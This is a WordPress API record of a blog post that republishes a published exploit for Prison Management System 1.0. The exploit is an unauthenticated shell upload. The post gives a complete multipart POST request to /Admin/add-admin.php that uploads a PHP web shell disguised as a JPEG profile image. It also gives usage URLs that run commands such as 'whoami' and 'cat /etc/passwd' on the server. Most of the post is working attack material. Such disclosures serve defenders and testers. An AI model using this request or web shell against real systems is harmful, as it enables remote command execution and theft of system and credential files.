{"id":58455,"date":"2024-07-25T17:19:53","date_gmt":"2024-07-25T14:19:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179737\/prisonmgmtsystem10-exec.txt"},"modified":"2024-07-25T17:19:53","modified_gmt":"2024-07-25T14:19:53","slug":"prison-management-system-1-0-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/prison-management-system-1-0-shell-upload\/","title":{"rendered":"Prison Management System 1.0 Shell Upload"},"content":{"rendered":"<p># Exploit Title: Prison Management System 1.0 &#8211; Unuthenticated RCE<br \/># Date: 24.07.2024<br \/># Exploit Author: Muhammet Ali Dak<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com\/sql\/17287\/prison-management-system.html<br \/># Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=17287&amp;title=Prison+Management+System+Using+PHP<br \/># Version: 1.0<br \/># Tested on: Linux<\/p>\n<p>## Unauthenticated users can access \/Admin\/add-admin.php address and they can upload malicious php file by changing Content-Type to image\/jpeg instead of profile picture image without any authentication. <\/p>\n<p>POST \/Admin\/add-admin.php HTTP\/1.1<br \/>Host: 192.168.60.131<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko\/20100101 Firefox\/128.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/png,image\/svg+xml,*\/*;q=0.8<br \/>Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;84806108511207628902669766678<br \/>Content-Length: 1055<br \/>Origin: http:\/\/192.168.60.131<br \/>Connection: keep-alive<br \/>Referer: http:\/\/192.168.60.131\/Admin\/add-admin.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Priority: u=0, i<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678<br \/>Content-Disposition: form-data; name=&#8221;txtusername&#8221;<\/p>\n<p>yuznumara<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678<br \/>Content-Disposition: form-data; name=&#8221;txtfullname&#8221;<\/p>\n<p>yuznumara<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678<br \/>Content-Disposition: form-data; name=&#8221;txtpassword&#8221;<\/p>\n<p>yuznumara123<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678<br \/>Content-Disposition: form-data; name=&#8221;txtphone&#8221;<\/p>\n<p>55353535353<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678<br \/>Content-Disposition: form-data; name=&#8221;avatar&#8221;; filename=&#8221;cmd.php&#8221;<br \/>Content-Type: image\/jpeg<\/p>\n<p>&lt;?php<\/p>\n<p>if(isset($_REQUEST[&#8216;cmd&#8217;])){<br \/>echo &#8220;&lt;pre&gt;&#8221;;<br \/>$cmd = ($_REQUEST[&#8216;cmd&#8217;]);<br \/>system($cmd);<br \/>echo &#8220;&lt;\/pre&gt;&#8221;;<br \/>die;<br \/>}<\/p>\n<p>?&gt;<\/p>\n<p>Usage: http:\/\/target.com\/simple-backdoor.php?cmd=cat+\/etc\/passwd<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678<br \/>Content-Disposition: form-data; name=&#8221;btncreate&#8221;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;84806108511207628902669766678&#8211;<\/p>\n<p>## Malicious file can be seen under the path \/uploadImage\/Profile\/ without any authentication.<\/p>\n<p>## With the request http:\/\/192.168.60.131\/uploadImage\/Profile\/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Prison Management System 1.0 &#8211; Unuthenticated RCE# Date: 24.07.2024# Exploit Author: Muhammet Ali Dak# Vendor Homepage: https:\/\/www.sourcecodester.com\/sql\/17287\/prison-management-system.html# Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=17287&amp;title=Prison+Management+System+Using+PHP# Version: 1.0# Tested on: Linux ## Unauthenticated users can access \/Admin\/add-admin.php address and they can upload malicious php file by changing Content-Type to image\/jpeg instead of profile picture image without any authentication. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58455","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58455"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58455\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}